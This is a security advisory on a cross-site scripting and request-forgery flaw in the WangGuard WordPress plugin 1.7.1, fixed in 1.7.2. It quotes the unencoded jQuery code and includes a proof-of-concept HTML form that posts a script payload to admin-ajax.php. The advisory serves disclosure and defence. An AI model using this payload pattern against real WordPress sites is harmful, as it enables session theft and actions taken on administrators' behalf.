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Cross-Site Scripting in WangGuard WordPress Plugin
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Yorick Koster, July 2016
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Abstract
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A Cross-Site Scripting vulnerability was found in the WangGuard
WordPress Plugin. This issue allows an attacker to perform a wide
variety of actions, such as stealing Administrators' session tokens, or
performing arbitrary actions on their behalf. In order to exploit this
issue, the attacker has to lure/force a logged on WordPress
Administrator into opening a malicious website.
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OVE ID
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OVE-20160724-0030
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Tested versions
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This issue was successfully tested on WangGuard WordPress Plugin version
1.7.1.
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Fix
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This issue is resolved in WangGuard version 1.7.2.
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Details
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https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_wangguard_wordpress_plugin.html
The issue exists in the file wangguard-admin.php and is caused by the lack of output encoding on the security questions & answers. It should be noted that this functionality is also vulnerable to Cross-Site Request Forgery.
jQuery("#wangguardnewquestionbutton").click(function() {
jQuery("#wangguardnewquestionerror").hide();
var wgq = jQuery("#wangguardnewquestion").val();
var wga = jQuery("#wangguardnewquestionanswer").val();
if ((wgq=='') || (wga=='')) {
jQuery("#wangguardnewquestionerror").slideDown();
return;
}
data = {
action : 'wangguard_ajax_questionadd',
q : wgq,
a : wga
};
jQuery.post(ajaxurl, data, function(response) {
if (response!='0') {
jQuery("#wangguard-question-noquestion").remove();
var newquest = '<div class="wangguard-question" id="wangguard-question-'+response+'">';
newquest += '<?php echo addslashes(__("Question", 'wangguard')) ?>: <strong>'+wgq+'</strong><br/>';
newquest += '<?php echo addslashes(__("Answer", 'wangguard')) ?>: <strong>'+wga+'</strong><br/>';
newquest += '<a href="javascript:void(0)" rel="'+response+'" class="wangguard-delete-question"><?php echo addslashes(__('delete question', 'wangguard')) ?></a></div>';
jQuery("#wangguard-new-question-container").append(newquest);
jQuery("#wangguardnewquestion").val("");
jQuery("#wangguardnewquestionanswer").val("");
}
else if (response=='0') {
jQuery("#wangguardnewquestionerror").slideDown();
}
});
});
In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.
Proof of concept
<html>
<body>
<form action="http://<target>/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="wangguard_ajax_questionadd" />
<input type="hidden" name="q" value="xss?" />
<input type="hidden" name="a" value=""><script>alert(1);</script>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
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Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.
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